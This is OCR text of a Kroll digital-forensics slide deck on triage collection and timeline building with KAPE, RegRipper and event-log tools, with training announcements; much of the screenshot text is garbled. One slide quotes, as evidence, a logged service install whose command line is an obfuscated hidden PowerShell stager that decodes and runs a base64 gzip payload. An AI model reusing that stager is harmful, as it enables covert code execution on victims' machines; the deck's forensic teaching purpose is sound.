Selected
T n

Process VSCs

SHA-1 exdusions

Target variables

Target variables

Name

afJc
LinuxOnWindowsProfileFiles
LnkFilesAndJumplists
LogFiles

LogMelIn

Malwarebytes
ManageEnginelLogs

McAfee

v Deduplicate

Folder
e
Windows
Windows
Windows
Apps
Antivirus
Logs

Antivirus

Container @ None

Base name

Key

Value

Artifact Analysis

May 2020

Private and Confidential

Description

afc

Linux on Windows Profile ...

Lnk files and jump lists
LogFiles

LogMeln Data
Malwarebytes Data
ManageEngine Desktop C...
McAfee Log Files

VHDX VHD Zip

Selected
T n

v

Export format

Module variables

Other options

v Debug messages

Zip password

Name

afc

IEZParser

AmcacheParser
Apache_Access_Log
AppCompatCacheParser
ApplicationFullEventLogView
ARPCache

autoruns

Default ‘@ CSV

« Trace messages

Folder

afc

Modules
ProgramExecution
Misc
ProgramExecution
Eventiogs
LiveResponse

LiveResponse

HTML JSON

Category

afJc

Modules
ProgramExecution
Webservers
ProgramExecution
EventlLogs
LiveResponse

LiveResponse

Key

Value

and Timelining with KAPE
Kroll

A Division of

Description

afc

Eric Zimmerman Pars...
AmcacheParser: extr...
LogParser Apache Ac..
AppCompatCachePar..
Parses Application ev..
ARPCache

Autoruns reports Exp...

Ignore FTK warning

DUFF & PHELPS




About Mari

« Associate Managing Director at Kroll
* SANS Instructor

 @MariDeGrazia

Kroll, a division of Duff & Phelps - @krollwire



Overview

Triage Collection KAPE

Mini Timelines Q Analysis
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Upcoming KAPE Intensive Training and Certification

SCHEDULE INSTRUCTORS

Eric Zimmerman

June 18, 2020

10:00 am. —7:00 pm. (EST) ~ Mar DeGrazia

= Virtual live sessions

= Max 25 students

Sean Straw

Eric Zimmerman

bit.ly/kape2020
July 7, 2020 Paul Jackson
9:00 am — 6:00 pm (GMT + 8,
Hong Kong/Singapore time) Dave Klopp

Rob Phillips

Kroll, a division of Duff & Phelps - @krollwire 4



Approach
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Triage Data

Filesystem Registry




KAPE BASICS

Targets

Modules

Mounted Image

Live System

Kroll, a division of Duff & Phelps - @krollwire




Triage Collection with

-+ gkape v0.8.6.2
File Tools
[+] Use Target options
Target options

‘F:‘\

Target source

[][-]

Target destination ‘C:\kape\kape_mage

[ ] Use Module options

Module options

Moduie source \ |

|'| D [#|Fush [ ]Add%d [ | Add %m Modue destination | | Flush Add Fed Zp
Targets (Double-click to edit a target)
Selected | Name | Description

¢ [m D | A
Il LrkFilesAndJumplists Lnk files and jump lists.
[ Meafee McAfee Log Files
[l Meafee_ePo McAfee ePO Log Files
¥ MinTimelineCollection MFT, Registry and Event Logs to generate a mini timeline

Ta rg et O moF MOF files (WMD)
[T] | MssQLErrorleg M5 5QL ErrorLogs
] NGINXLogs MNGINX Log Files
[ natenadss Nntenad-t hackin ¥
L ) . .
M | n |T| m e I | n e‘ OI I e Ct | O n ["] Process vsCs [+/] Deduplicate Container | @ None (VHDX () VHD Zip | | Export format » Default €8V HML JSON
SHA-1 exdusions Base name | | ! Variahles Key | -
| | X | D Zip container Transfer Valle
Transfer options
—_— Er Add

Server I—| Username | ‘

Port | 22 | Pi rd | ‘ . Other options

Comment | "] Debug messages ] Trace messages

] zip password |
~ Current command line

\kape.exe --tsource F: --tdest C:\kape\kape_triage --tflush --target MiniTimelineCollection --qui

EI—J Copy command

‘ Documentation |

=

|_| Disable flush warnings

Kroll, a division of Duff & Phelps - @krollwire




Triage Data Outputs

[ -

€ - v 9

& Onelrive

% This PC

| F

"B 3D Objects

B Desktop

|= Documents

4 Downloads

J' Music

&= Pictures

! Videos

£ Local Disk {C)

Share

» ThisPC » Local Disk(C:) * kape * kape_triage » F

View

7 items 1 item selected 42.2 MB

L]

Mame

SExtend

Uzers

Windows

| 5Boot

| | SLogFile

| SMFT

| | SSecure 3505

s

Date modified

&M11/201% 1:19 AM
2/11/201% 1:19 AM
8:11/2019 1:19 AM
8/11/2019 1:19.4M
8/11/2015 1:19 AM
9/8/2015 2:28 AM

9/8/2015 2:28 AM

v D
Type

File folder
File folder
File folder
File
File
File
File

Size

(TR}
[ B v =
m

o

L

B | wn
il R T

m

wn

m

=]
n

(¥

o

Kroll, a division of Duff & Phelps - @krollwire




Data Munging

é X-Ways Forensics - [Win7_Malware, P2]

% File Edit Search Navigation View Tools Specialist Options Window Help

— O x
19.85R-7x64 - & x

1244cp010 89 EB DO 01 01 00 00 0O
1244cp020 (01 00 00 0O 20 00 00 OO
1244cp030 |S5C 00 43 00 3A 00 5C 00 S5
1244CD040 |73 00 5C 00 44 00 €5 00 67
1244cp050 |69 00 €1 00 4D 00 44 00 Sc
1244cp0eD |73 00 €5 00 72 00 2E 00 €4
1244CD0O70 [FO D2 CE 6C 01 6E DE 11 8B
1244cp080 |FO D2 CE 6C 01 6E DE 11 §&B
1244cp0S%0 (00 00 00 OO0 F1 D2 CE 6C 01
1244CDOAD (OB CD 18 24 72 6D 74 6D 00
1244cpOBO |00 OO 00 OO0 00 OO0 00 OO OO
1244cpoco (00 00 00 OO 0O OO 0O OO OO
1244cpOD0 (00 00 00 OO0 QO OO0 00 OO0 OO
1244CDOED |00 00 00 OO CO 00 0D OO OO
1244CDOF0 |00 00 00 OO 00 00 0O OO OO
1244cpl00 (00 0O 00 OO0 QO OO0 00 OO0 OO
1244cpli0o (00 00 00 OO0 0O OO 00 OO OO
1244cplz0 |00 00 00 00 0O 00 00 OO 0O
1244cpl30 |00 00 00 OO 00 OO0 00 OO OO
1244cpl40 (00 0O 00 OO 0O OO 0O OO OO

Sector 9,578,088 of 52,219,904

8B ED 00 1E aofl np <

1244CD0O00

o of oo
[N,
=
w0

w

=114 Block

Dal 8=y 1 i ! 5 an - i 4= L4
W alware Win7_Malware, P2 Iw n7_Malware, P1 |
\Users\DegraﬂaMD 7 files, 22 dir. @ |
| T Name ~ 1" Description FType T Size | Created " Modified | Record changed At A
1.
s Local Settings existing 0 B 09/08/2015 01:39:09 09/08/2015 01:33:09 09/08/2015 01:3%:09 PX¢
2, Partition 2 L IMusic existing 504 B 09/08/2015 01:3%09 | 09/08/2015 01:39:25 09/08/2015 01:39:25 IF
£ $Extend My Documents existing B 09/08/2015 01:39:09 09/08/2015 01:33:09 09/08/2015 01:33:09 PX¢
| : @l NetHood existing g 09/08/2015 01:39:09 09/08/2015 01:39:09 09/08/2015 01:39:09 PX¢
1 $Recycle.Bin I 1Pictures existing 4 B 09/08/2015 01:39:09 09/08/2015 01:39:25 09/08/2015 01:39:25 IF
) Documents and Settings a1 PrintHood existing 9/08/2015 01:39:09 09/08/2015 01:33:09 09/08/2015 01:39:09 PX¢
£ Perflogs jalRecent existing 9/08/2015 01:39:09 09/08/2015 01:33:09 09/08/2015 01:39:09 PX¢
B Progam Files _[15aved Games existing 282 2 09/08/2015 01:39:09 -0 09/08/2015 01:39:25 09/08/2015 01:39:25 R
&1 ProgramData _I[1Searches existing 1 g 09/08/2015 01:39:25 09/08/2015 01:39:25 - 09/08/2015 01:39:25 R
: 9 lalSendTo existing 9/08/2015 01:39:09 09/08/2015 01:39:09 09/08/2015 01:39:09 PX¢
H-1 Recovery - la Start Menu existing 9/08/2015 01:39:09 09/08/2015 01:38:09 09/08/2015 01:39:09 PX¢
~{_1 System Volume Information || 1zl Templates existing 9/08/2015 01:39:09 09/08/2015 01:39:09 09/08/2015 01:39:09 PXE
-1 Users _I_1Videos existing 504 5 09/08/2015 01:39:09 DQ/DB/ZD'IE 01: 39 25 + 09/08/2015 01:39:25 IF
&1 All Users wd- 09/06/2015 01:39:09 -0 09/10/2015 05:25:25 -
2 1| ntuser.dat.LOG1 existing 256 KB 09/08/2015 01:39:09 09/10,"2015 DS 2, 09/10/2015 05:25:25 SH
1 Default | [ ntuser.dat.LOG2 existing, already viewed 0 B 09/08/2015 01:39:09 09/08/2015 01: 39.09 09/08/2015 01:39:09 SH
-] Default User [ _INTUSER.DAT{6cced2f1-6e01-11de-8be... existing 64.0 KB 09/08/2015 01:39:09 09/08/2015 01:40:34 09/08/2015 01:40:34 SH
(24 DegraziaMD | [ [INTUSER.DAT{6cced2f1-6e01-11de-8be... existing 512 KB 09/08/2015 01:39:09 09/08/2015 01:40:34 09/08/2015 01:40:34 SH I
Ew 1 1TSupport % 5
& Fublic [ Partition ) File | =l Preview | 53 Details = o= Selected: 1 file (512 KB)
i1 Windows Offsst 0 4 2 3 4 & 6 T i NalnaraEoti P2 et
1244cp000 | 7B 65 67 66 45 00 00 00 Ll s

File system: NTFS

[Read-only mode]

Alloc. of visible drive space:

Cluster No.: 1,197,261
NTUSER.DAT
\Users\DegraziaMD\,

Snapshot taken 1 min. ago
Logical sector No. 9,578,088
Physical sector No.: 9784936
Used space: 78GB
8,409,714,688 bytes

Free space: 17.1 GB
18,326,872,064 bytes

Total capacity: 249 GB
26,736,590,848 bytes

Bvtes per cluster: 4,096
nfa Size: n/a

Kroll, a division of Duff & Phelps - @krollwire
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Data Munging

& Registry Explorer v1.5.0.1 - | =
File Tools Options Bookmarks (16/0) View Help
] Registry-hivesl {1} Available bookmarks (16/0) 'u'élues i
Key name | # yalues £ zubkeys Last write imestamp =
7 | *fc = = = A :
N = TR Valie ... |'u'a|ue T |Da13 |v | Is Deleted | Data Record .
» = IMEF 0 2| 2015-09-08 01:39:09 7 | e A Al (=] (]
F~ Internet Connection . | 1 0 2015-03-08 01:39:09 b [urll RegSz  htip:/fgo.microsoft.com/fudink/?Li.. 0. I ] L]
4 Internet Explorer . i} 23 2015-09-08 01:39:27
¥ [ BrowserEmulation 25 1 2015-09-08 01:39:27
.4 |___ Decktop a 1 2015-09-08 01:39:16
[ Document Windows 5 0! 2015-09-08 01:39: 14
[~ Download £ 0 2015-09-08 01:39:09
= Help_Menu_URLs o 0 2015-09-08 01:39:25
b5 IETd 5 1] 2015-09-08 01:39:27
= InteliForms o 0 2015-09-08 01:39:14
» [ International i 1/2015-09-08'01:39:14
[ InternetRegistry 0] 0 2015-09-08 01:39:14
|—__ LinksBar E 0 2015-09-08 01:39:27
] |_—'_ LowRegistry a 2. 2015-09-08 01:39:30
» [ Main 2k 1 2015-09-08 01:39:27
[T Mew Windows 3 0 2015-09-08 01:39:14
|——_' PageSetup 8] 0 2015-09-08 01:39:14
IT__ SearchUrl 1] 0 2015-09-08 01:39:03
[T Security 3 0 2015-09-08 01:39:08 D ===
[ Services £ 0 2015-05-08 01;39:14 Type viewer Slack viewer Binary viewer
[ Settings 5 0 2015-09-08 01:39:14 | [
[.] Key: | Software\Microsoft\Internet Explorer\TypedURLs Value: | wrll | Collapse all hives
Selected hive: ntuserdat | Lastwrite | 2015-09-0801:3214 1 of 1 values shown (100.00%) | | Hidden keys: 0 -___’

Kroll, a division of Duff & Phelps - @krollwire



Data Munging

(System)

svc_plus v.20120625

Lists services/drivers in Services key by LastWrite times in a short format with warnings for type mismatche

ControlSet00l1\Services
Lists services/drivers in Services key by LastWrite times in a short format with warnings for type mismatches; ~**~ I

Sat Aug
Sat Aug
Sat Aug
Sat Aug
Fri Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug
Thu Aug

10
10
10
10

e

o GO o Co G0 CO 0 OO GO GO C0 GO

36:
50:
37:
37:
50:
49;
49;
49;
49;
46:
49;
49:
49;
49:
49;
49;
49;

26
27
20
20
23
le
16
16
le
le
le
16
16
15
15
15
15

Sun Aug 11 00:41:48 2019Z,BITS,@%SystemRoot¥\system32\gmgr.dl1;-1000, $SystemRoot¥\System32\svchost.exe -k netsvcs -p,
et iMWr £ 1 £ ¥, Arsenal Image Mounter Write Filter, System32\drivers\aimwrfltr.sys,,Boot Start,

16:
02:
01:
01:
14:
14:
14:
14:
14:
14:
14:
14:
14:
14:
14:
14:
14:

2019Z, phdskmnt,Arsenal Image Mounter SCSI Miniport, \SystemRoot\System32\drivers\phdskmnt.sys,,Man
20192, TrustedInstaller, @%SystemRoot%¥\servicing\TrustedInstaller.exe;-100, $SystemRoot%\servicing\T
2019Z,HidUsb, @input.inf; $HID.SvcDesc%;Microsoft HID Class Driver, \SystemRoot\System32\drivers\hid
2019Z, kbdhid, @keyboard.inf; *KBDHID.SvcDesc®; Keyboard HID Driver, \SystemRoot\System32\drivers\kbdh
20192, GoogleChromeElevationService, Google Chrome Elevation Service, "C:\Program Files (x86)\Google
2019Z, LanmanServer\Parameters, , $SystemRoot&\system32\srvsvec.dll,,,

2019Z,NdisTapi, @%systemroot¥\system32\mprmsqg.dll;-32001, System32\DRIVERS\ndistapi.sys, ,Manual,

20197, NdisWan, @%systemroot¥\system32\mprmsg.dll;-32002, \SystemRoot\System32\drivers\ndiswan.sys, ,]

2019z, PptpMiniport, @%systemroot%\system32\mprmsg.dll;-32006, \SystemRoot\System32\drivers\raspptp.

2019Z,RasAgileVpn, fnetavpna.inf;%5vc-Mp-AgileVpn-DispName%; WAN Miniport (IKEv2),\SystemRoot\Syste]
2019Z,Rasl2tp, @¥systemroot¥\system32\mprmsg.dll;-32005, \SystemRoot\System32\drivers\rasl2tp.sys, ,]

2019Z, RasPppoe, B3systemroot%\system32\mprmsg.dll;-32007, System32\DRIVERS\raspppoe.sys, ,Manual,

2019Z,RasSstp, @¥systemroot¥\system32\sstpsvc.dl1l;-202, \SystemRoot\System32\drivers\rassstp.sys, ,M

2019Z,BcastDVRUserService 35377,BcastDVRUsersService 35377,C:\WINDOWS\system32\svchost.exe -k Bcas
2019Z,BluetoothUserService 35377,BluetoothUserService 35377, C:\WINDOWS\system32\svchost.exe -k Bt
20192, CaptureService_ 353?7 CaptureService_ 35377,C: \WINDOWS\system32\svchost exe -k LocalService -
20192, cbdhsve_35377, cbdhsvc 353717,C: \WINDOWS\systemBZ\svchost exe -k ClipboardSvcGroup p,““*“224

Kroll, a division of Duff & Phelps - @krollwire

12



Data Munging

{2l Event Viewer
File Action View Help
| 75

E Event Viewer (Local) System_examplel  Number of eves
=y Custom Views
+ & Windows Logs

24

“F  Filtered: Log: file://D:\Users\Mari DeGrazia\Documents\Presentations\OSDFCon_2018\instructor_files\Win7-examplel_3\System_examplel.evtx; Source: ; Event ID: 7045. Number of events: 15

5] Application Level Date and Time Source Event ID Task Category 2
& security (i) Information 10/10/2017 14707 AM Service Control Manager 7045 None
% ;::::m @ Information 10/10/2017 1:47:07 AM Service Control Manager 7045 MNone
El Forwarded Events £ Information /10y, Service Control Manager
= o . (i) Information 10/10/2017 1:32:02 Al Service Control Manager 7045 None
-1 Applications and Services Loc i )
v I saved Logs (i) Information 10/10/2017 12:50:35 AM Service Contral Manager 7045 None
E‘ System._ ple1 @ Information 10/10/2017 12:50:34 AM Service Control Manager 7045 None v
{3 Subscriptions Event 7045, Service Control Manager x
General Details

A service was installed in the system.

Service Name: GkTcAkamAGjsDclH

Service File Name: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b="powershell.exe'}else{$b=Senv:windir+'\syswowE4\WindowsPowerShell
\v1.0\powershell.exe’}; $s=New-Object System.Diagnostics.ProcessStartinfo; $s.FileName=$b;$s.Arquments="-nop -w hidden -c $s=New-Object |0.MemoryStream(,
[Convert]::FromBaseb4String

("H4sICCSPh1kCADEATY8/SAJXHMW/ZOVhihY NDUEShyQEQYVEOT gOpFm cd6KnktdBxY 8LgsrDhowoGuRLIDREaST WGqUthpFtFXJBUSIZ9melhnAlfl INvT e+ z3vwvmsbADCdrbryM8g5kTc
h34FLvZaTgN1Fj7zyqqHPdn5tZogP n3wUeSsGvBhsWemMMbchjNmYEvo7KBN+HETmTi/B8oUNI9ashUx/sOqTiCLLIObQNISil043InOTHWXZREKOxUOOLEIxbH/bnilDbgCSXnZLYRIM25up
dppiABwXYY441ueBakoT MZrNs8QA 3bnsM6fLp5uBWhTKVNEVrEo2TtMyVT bygeMdLIFfa/) +jcFIEY IMtxfSVT brMOaBz2K|4AVIKIAEQ + EKtV2BAUIw|8qOyMS8P 220dLab3FSLUrURQIIPZmk)
VZIkVLKFByXarFwInG8ry8IVPsBcBySHKOBAAA =")):IEX (New-Obiject 10.StreamReader(New-Object I0.Com pression.GzipStream($s,

[10.Com pression.Com pressionMode]::Decom press))).ReadToEnd();'; $s.UseShell[Execute=$false; $s.RedirectStandard Output=$true; $s. WindowStyle="Hidden’; $s.CreateNoWindow =$true;
$p=[System.Diagnostics. Process]:Start($s);

Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

Log Name: System

Source: Service Control Manager Logged: 10/10/2017 1:32:02 AM
Event ID: 7045 Task Category: None

Level: Information Keywords: Classic

User: SYSTEM Computer: Mari-PC

OpCode: Info

More Information:  Event Log Online Help

Kroll, a division of Duff & Phelps - @krollwire



Why Timelines

e Combine Artifacts
 Normalize Timestamps
* Build Connections

* Reporting

Filesystem

Registry

Event Logs

Kroll, a division of Duff & Phelps - @krollwire
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TLN Timeline Format

Time | Source | Host | User | Description

« Time: 32 Bit Unix Epoch

« Source: EVT, REG, FILE etc.

 Host: Computer Name, IP address, etc.

« User: Username, SID, IM Screen name, etc.
» Description: Description of event

https://forensicswiki.xyz/wiki/index.php?title=TLN

Kroll, a division of Duff & Phelps - @krollwire
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DegraziaMD-PC
DeGraziaMD-PC

2015-09-10 05:25:14 FILE  DeGraziaMD-PC M.C. [8284] c:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/SystemIndex.2.gthr
2015-09-1005:25:12 REG ~ DeGraziaMD-PC M... HKLM_SOFTWARE/Microsoft/Windows Search/Gather/Windows/Systemindex/Crawls

2015-09-1005:25:12 FILE DeGraziaMD-PC M.C. [11954] C:_n"WindDWSj'PrEfEtChj'SEf-\RCHPRDTOCOLHDST.EKE—OCBSCADE.pf

2015-09-10 05:25:12 REG DeGraziaMD-PC M... HKLM_SOFTWARE/Microsoft/Windows Search/CatalogNames/Windows/SystemIndex

2015-09-1005:25:08 REG ~ DeGraziaMD-PC  \DegraziaMD\ntuser.dat M... HKEY USERISoftwarefM|crosoft,"Wlndow5,"CUrrent\-"ersmnfEprorerj’FlleExts! Ink
2015-09-10 05:25:08 REG DeGraziaMD-PC DegraziaMD\ntuser.dat
2015-09-1005:25:08 REG ~ DeGraziaMD-PC  |\DegraziaMD\ntuser.dat

25 DeGraziaviD-P DegrazianDy\ntuser.da
2015-09-1005:25:08 REG ~ DeGraziaMD-PC  \DegraziaMD\ntuser.dat M... HKEY USERfSoftware,"M|crosofthmdowsturrent\."ersmnfExplorerj’FlleExts_f InkapenWlthLlst
2015-09-10 05:25:08 REG DeGraziaMD-PC  \DegraziaMD\ntuser.dat M... HKEY_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/FileExts

Kroll, a division of Duff & Phelps - @krollwire 16



Tools that have the TLN Format

« Harlan Carvey (Free)

« Plaso (Free)

« TZWorks (Commercial)

Kroll, a division of Duff & Phelps - @krollwire
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Tools Used

e Action View Heh

¢ AEEDB @
Evert Viewer (Local) | Applcation_444 event(s)
) [ pe [ oate. [ Time [ Source Category | Event 4 |
sty 2E006 0222 PN Wslrstaler e w7z |
S R Qenor 2/18/2006 02PN NET Runtime Hone. 0
Qeror 2/18/2006 12:16i26 .., Microsoft Office 11 Hone. 1000
2/18/2006 120900 ., Microsoft Office 11 MNore: 1001
Error 2182006 120845... Mcrosoft Offce 11 None 1000
Error 2{17j2006 8:43:44 PM  Application Hang (1o1) 1002
Error 2/17j2006 8:43:41 PM Application Hang (1o1) 1002
| Error 2/17/2006  7:44:32PM  Applcation Hang Hone 1001
| Error 2{17j2006 7:44:29PM  Application Hang (1o1) 1002
‘ 2{17j2006 12:32:09PM  Msilnstaller More. 1707
| Zi7jzo0s 1009 AM  MSSQUSQLEXPRESS  (2) 17403
| 2/16/2006 7349 M Winlogon None 1002
| 21602006 SSSSQPM NET Runtime Optinizs... Nome 1104
| 216(2006  SSS:S0PM NET Runtime Optimiza... Hone 110z
2162006 SSSSQPM NET Runtime Optiniza... None 1100
2162006 SISSUPM  NET Runtime Optinia... None 1102
2{16/2006 5:55:50 PM . NET Runtime Optvmia MNone. 100 ¥
< i >

MFTECmd Regtime Evtparse.exe

Unicode_2_ascii

Bodyfile Rip.exe EvtxEcmd.exe Parse.exe

(RegRipper) evtxECmd_2_tIn

Kroll, a division of Duff & Phelps - @krollwire 18



Timelining with KAPE

 Module Name: Mini_Timeline
Add Key/Value: computerName:Mari-PC

 Module Name: Mini_Timeline_Slice_by Daterange
— Add Key/Value: dateRange: 01/01/2019-07/29/2019

Kroll, a division of Duff & Phelps - @krollwire
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Process VSCs

SHA-1 exdusions:

— Transfer options

Port

=] el [ Fsh || Addoed || Add %m

-+ gkape v0.8.6.2 i
File Teols

["] Use Target options Use Module options

— Target oplions -~ Module opti

Target source |F:\ v | Module source

Target destinafion | C:\kapelkape triage

[c:¥apekape_triagelF

][

Madule destination [C: ape\DeGrazialD-PC [=][o-] WIPush [Jaddowd [Jaddo%nm [Izip
HModules (Double-dick to edit a module)
braga adefr hete to aroun by that c
Selacted ‘N, 7 '?|Cahegn(y |Dem'q:m'm
® (W] ofctm | oBe o
Mini_Ti... Timeline Parses MFT, Registy and Event Logs into mini-timeline

Parse the tmeline made by the Mini-Timeline into a smafler tmerange

[x] b contains(ame], ') [ - |

S E—

e —

[Eatrier]
/| Deduplicate Contamner | #'None VHDX WHD Zip | Export format ) Default () CSV (OHML () 150N

Base name | » | comy D-PC Key dateRange hd

| Zip container Transfer Value |01/01/2019-08/11f2019 n

26 Add
e — s
22 Pasgword | d _ Other
D Debug D Trace

~ Current

d fine

I E—

computerName:DeGraziaMD-PC --gui

\kape.exe --msource C:\kape\kape_triage\F --mdest C:\kape\DeGraziaMD-PC --mflush --module Mini_Timeline Mini_Timeline_Slice_by_Daterange --mvars

Kroll, a division of Duff & Phelps - @krollwire
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Results

o = | Timeline
- Haome Share View
€ v

# CQuick access
@ Onelrive
> By ThisPC

¥ Metwork

b items 1 item selected 92,9 MB

+ This PC » Local Disk (C:) + kape » DeGraziaMD-PC » Timeline

e

o evbe_for_timeline.csy
| mft_bodyfile
|| temp.tin

|| temp_asciitin

w 0 Search Timeline
Date modified Type Size

3/11/2019 259 AM

2/11/2019 2:59 AM

Microsoft Excel Comma...

Microsoft Excel Comma...

g/11/2 Microsoft Excel Comma...
811/ File

8/11/20 TLM File

811/ TLM File

96,243 KB
44,430 KB

1,141 KB
21,426 KB
90,988 KB
45,383 KB
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Analysis

* Pivot Points
* Move up and down for selected time

* Deep dive findings
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Setup

 Add exe files to the bin folder
— Check modules for bin path

Run Get-KAPEUpdate.ps1

Synch with GitHub

3 B B

» KAPE_Timelining * KAPE >

L

Modules * bin » tln_tools

Name

<4 bodyfile.exe

J eviparse.exe

ﬁ evixECmd 2 tin.exe
] p2xs124.dil

4 parse.exe

J regtime.exe

ﬂ unicode_2_ascii.exe

~  Date modif

8/10/2019 4
8/10/2019 4
&/10/2019 1
8/10/2019 4
8/10/2019 4
8/10/2019 4
8/10/2019 1

» KAPE_Timelining

Name

KAPE > Modules » bin *» regripper

s

plugins
] p2xs124.4dil

J rip.exe

W % o o
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How to make a TLN Module

« Copy existing one

* Modify
— ExportFile: temp.tin
— Append: true
— Change GUID

* Add module to Mini_Timeline.mkape
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Questions

*KAPE — free download here

*Eric Zimmerman Tools — https://ericzimmerman.github.io/

*RegRipper — free download: hitps://github.com/keydet89/RegRipper2.8

*Harlan Carvey’s Timeline Tools: https://github.com/keydet89/Tools

*Unicode to Ascii: https://github.com/classicsc/Unicode2Ascii/releases

evixECmd_2 tln.exe: https://github.com/mdegrazia/KAPE _Tools
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For More KAPE:
Intensive Training and Certification

SCHEDULE INSTRUCTORS

Eric Zimmerman

= Virtual live sessions June 18, 2020 Mari DeGrazia
« Max 25 students 10:00 a.m. —7:00 p.m. (EST)
Sean Straw
bit.ly/kape2020 o
Eric Zimmerman
July 7, 2020 Paul Jackson
9:00 am — 6:00 pm (GMT + 8,
Hong Kong/Singapore time) Dave Klopp

Rob Phillips
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Kroll ‘ DUFF & PHELPS

For more information about our global locations and
services, please visit:
www.kroll.com

About Kroll

Kroll is the leading global provider of risk solutions. For more than 45 years, Kroll has helped clients make confident risk management decisions about people, assets, operations and security through

a wide range of investigations, cyber security, due diligence and compliance, physical and operational security, and data and information management services. For more information, visit
www.kroll.com.

About Duff & Phelps

Duff & Phelps is the global advisor that protects, restores and maximizes value for clients in the areas of valuation, corporate finance, investigations, disputes, cyber security, compliance and
regulatory matters, and other governance-related issues. We work with clients across diverse sectors, mitigating risk to assets, operations and people. With Kroll, a division of Duff & Phelps since
2018, our firm has nearly 3,500 professionals in 28 countries around the world. For more information, visit www.duffandphelps.com.




